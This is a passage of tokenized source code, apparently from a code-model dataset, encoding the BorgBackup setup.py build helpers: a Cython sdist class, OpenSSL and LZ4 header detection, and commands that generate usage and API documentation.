"'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "install", "\\u", "requires_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "s", "\\u", "require_", "=_", "extra", "s", "\\u", "require_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Sd", "ist_", "(_", "sdist", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Sd", "ist_", "(_", "sdist", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "src_", "in_", "glob_", "(_", "'", "bor", "g", "/*", ".", "pyx", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cython", "\\u", "compiler_", "._", "compile_", "(_", "src_", ",_", "cython", "\\u", "compiler_", "._", "default", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sd", "ist_", "(_", "sdist", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "distribution_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "filelist_", "._", "extend_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "compress", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "crypto", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "chunk", "er", ".", "c", "'_", ",_", "'", "bor", "g", "/\\u", "chunk", "er", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "hashin", "dex", ".", "c", "'_", ",_", "'", "bor", "g", "/\\u", "hashin", "dex", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "platform", "\\u", "linux", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "platform", "\\u", "freeb", "sd", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", "/", "platform", "\\u", "dar", "win", ".", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", ")_", "._", "make", "\\u", "distribution_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Sd", "ist_", "(_", "sdist", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sd", "ist_", "(_", "sdist", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "Cython", " ", "is", " ", "require", "d", " ", "to", " ", "run", " ", "sdist", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "detect", "\\u", "openss", "l_", "(_", "prefixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "prefix_", "in_", "prefixes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filename_", "=_", "os_", "._", "path_", "._", "join_", "(_", "prefix_", ",_", "'", "include", "'_", ",_", "'", "openss", "l", "'_", ",_", "'", "evp", ".", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "filename_", ",_", "'", "r", "'_", ")_", "as_", "fd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "PKC", "S", "5", "\\u", "PB", "KD", "F2", "\\u", "HMAC", "('_", "in_", "fd_", "._", "read_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "detect", "\\u", "lz", "4_", "(_", "prefixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "prefix_", "in_", "prefixes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "filename_", "=_", "os_", "._", "path_", "._", "join_", "(_", "prefix_", ",_", "'", "include", "'_", ",_", "'", "lz", "4", ".", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "filename_", ",_", "'", "r", "'_", ")_", "as_", "fd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "LZ", "4", "\\u", "decompress", "\\u", "safe", "'_", "in_", "fd_", "._", "read_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "description_", "=_", "\"", "generat", "e", " ", "usage", " ", "for", " ", "each", " ", "command", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "options_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "output", "='_", ",_", "'", "O", "'_", ",_", "'", "output", " ", "director", "y", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "initialize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "finalize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "generat", "ing", " ", "usage", " ", "docs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "allow", "s", " ", "us", " ", "to", " ", "build", " ", "docs", " ", "with", "out", " ", "the", " ", "C", " ", "module", "s", " ", "full", "y", " ", "load", "ed", " ", "dur", "ing", " ", "help", " ", "generation_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bor", "g_", "._", "archive", "r_", "import_", "Archive", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "=_", "Archive", "r_", "(_", ")_", "._", "build", "\\u", "parser_", "(_", "prog_", "=_", "'", "bor", "g", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choices_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "action_", "in_", "parser_", "._", "\\u", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "action_", "._", "choices_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "choices_", "._", "update_", "(_", "action_", "._", "choices_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "found", " ", "command", "s", ":", " ", "%", "s", "'_", "%_", "list_", "(_", "choices_", "._", "keys_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "'", "docs", "/", "usage", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "'", "docs", "/", "usage", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "command_", ",_", "parser_", "in_", "choices_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "generat", "ing", " ", "help", " ", "for", " ", "%", "s", "'_", "%_", "command_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "'", "docs", "/", "usage", "/", "%", "s", ".", "rst", ".", "inc", "'_", "%_", "command_", ",_", "'", "w", "'_", ")_", "as_", "doc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "command_", "==_", "'", "help", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "topic_", "in_", "Archive", "r_", "._", "help", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "params_", "=_", "{_", "\"", "topic", "\"_", ":_", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "underl", "ine", "\"_", ":_", "'~'_", "*_", "len_", "(_", "'", "bor", "g", " ", "help", " ", "'_", "+_", "topic_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "\"..", " ", "\\u", "bor", "g", "\\u{", "topic", "}:", "\\\\", "n", "\\\\", "n", "\"_", "._", "format_", "(_", "**_", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "\"", "bor", "g", " ", "help", " ", "{", "topic", "}\\\\", "n", "{", "underl", "ine", "}\\\\", "n", "::", "\\\\", "n", "\\\\", "n", "\"_", "._", "format_", "(_", "**_", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "Archive", "r_", "._", "help", "text_", "[_", "topic_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "params_", "=_", "{_", "\"", "command", "\"_", ":_", "command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "underl", "ine", "\"_", ":_", "'-'_", "*_", "len_", "(_", "'", "bor", "g", " ", "'_", "+_", "command_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "\"..", " ", "\\u", "bor", "g", "\\u{", "command", "}:", "\\\\", "n", "\\\\", "n", "\"_", "._", "format_", "(_", "**_", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "\"", "bor", "g", " ", "{", "command", "}\\\\", "n", "{", "underl", "ine", "}\\\\", "n", "::", "\\\\", "n", "\\\\", "n", " ", " ", " ", " ", "bor", "g", " ", "{", "command", "}\"_", "._", "format_", "(_", "**_", "params_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "\\u", "usage_", "(_", "parser_", ",_", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "epilog_", "=_", "parser_", "._", "epilog_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "epilog_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "\\u", "options_", "(_", "parser_", ",_", "doc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "\"\\\\", "n", "\\\\", "n", "Descripti", "on", "\\\\", "n", "~~~~~~~~~~~", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "._", "write_", "(_", "epilog_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "common", "\\u", "options_", "=_", "[_", "group_", "for_", "group_", "in_", "choices_", "[_", "'", "create", "'_", "]_", "._", "\\u", "action", "\\u", "groups_", "if_", "group_", "._", "title_", "==_", "'", "Common", " ", "options", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "'", "docs", "/", "usage", "/", "common", "-", "options", ".", "rst", ".", "inc", "'_", ",_", "'", "w", "'_", ")_", "as_", "doc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "\\u", "options", "\\u", "group_", "(_", "common", "\\u", "options_", ",_", "doc_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "usage_", "(_", "self_", ",_", "parser_", ",_", "fp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "any_", "(_", "len_", "(_", "o_", "._", "option", "\\u", "strings_", ")_", "for_", "o_", "in_", "parser_", "._", "\\u", "actions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp_", "._", "write_", "(_", "'", " ", "<", "options", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "option_", "in_", "parser_", "._", "\\u", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "option_", "._", "option", "\\u", "strings_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fp_", "._", "write_", "(_", "'", " ", "'_", "+_", "option_", "._", "metavar_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "options_", "(_", "self_", ",_", "parser_", ",_", "fp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "group_", "in_", "parser_", "._", "\\u", "action", "\\u", "groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "group_", "._", "title_", "==_", "'", "Common", " ", "options", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp_", "._", "write_", "(_", "'\\\\", "n", "\\\\", "n", "`", "Common", " ", "options", "`\\u", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp_", "._", "write_", "(_", "'", " ", " ", " ", " ", "|'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "\\u", "options", "\\u", "group_", "(_", "group_", ",_", "fp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "usage_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "options", "\\u", "group_", "(_", "self_", ",_", "group_", ",_", "fp_", ",_", "with", "\\u", "title_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "is", "\\u", "positional", "\\u", "group_", "(_", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "any_", "(_", "not_", "o_", "._", "option", "\\u", "strings_", "for_", "o_", "in_", "group_", "._", "\\u", "group", "\\u", "actions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "help_", "(_", "option_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "textwrap_", "._", "dedent_", "(_", "(_", "option_", "._", "help_", "or_", "''_", ")_", "%_", "option_", "._", "\\u\\u", "dict\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'\\\\", "n", "'_", "._", "join_", "(_", "'|", " ", "'_", "+_", "line_", "for_", "line_", "in_", "text_", "._", "splitlines_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ship", "out_", "(_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp_", "._", "write_", "(_", "textwrap_", "._", "indent_", "(_", "'\\\\", "n", "'_", "._", "join_", "(_", "text_", ")_", ",_", "'", " ", "'_", "*_", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "group_", "._", "\\u", "group", "\\u", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "with", "\\u", "title_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp_", "._", "write_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp_", "._", "write_", "(_", "group_", "._", "title_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "is", "\\u", "positional", "\\u", "group_", "(_", "group_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "option_", "in_", "group_", "._", "\\u", "group", "\\u", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "._", "append_", "(_", "option_", "._", "metavar_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "._", "append_", "(_", "textwrap_", "._", "indent_", "(_", "option_", "._", "help_", "or_", "''_", ",_", "'", " ", "'_", "*_", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ship", "out_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "options_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "option_", "in_", "group_", "._", "\\u", "group", "\\u", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "option_", "._", "metavar_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "option", "\\u", "fmt_", "=_", "'``", "%%", "s", " ", "%", "s", "``", "'_", "%_", "option_", "._", "metavar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "option", "\\u", "fmt_", "=_", "'``", "%", "s", "``", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "option", "\\u", "str_", "=_", "',", " ", "'_", "._", "join_", "(_", "option", "\\u", "fmt_", "%_", "s_", "for_", "s_", "in_", "option_", "._", "option", "\\u", "strings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "._", "append_", "(_", "(_", "option", "\\u", "str_", ",_", "option_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "option", "\\u", "str_", ",_", "option_", "in_", "options_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "help_", "=_", "textwrap_", "._", "indent_", "(_", "get", "\\u", "help_", "(_", "option_", ")_", ",_", "'", " ", "'_", "*_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "._", "append_", "(_", "option", "\\u", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "._", "append_", "(_", "help_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ship", "out_", "(_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "build", "\\u", "api_", "(_", "Command_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "description_", "=_", "\"", "generat", "e", " ", "a", " ", "basic", " ", "api", ".", "rst", " ", "file", " ", "based", " ", "on", " ", "the", " ", "module", "s", " ", "avail", "able", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "options_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "output", "='_", ",_", "'", "O", "'_", ",_", "'", "output", " ", "director", "y", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "api_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "initialize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "api_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "finalize", "\\u", "options_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "build", "\\u", "api_", "(_", "Command_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "auto", "-", "generat", "ing", " ", "API", " ", "documentation", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "open_", "(_", "\"", "docs", "/", "api", ".", "rst", "\"_", ",_", "\"", "w", "\"_", ")_", "as_", "doc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "._", "write_", "(_", "\"\"\"", "\\", "10", ";", "API", " ", "Document", "ation", "\\", "10", ";", "==============", 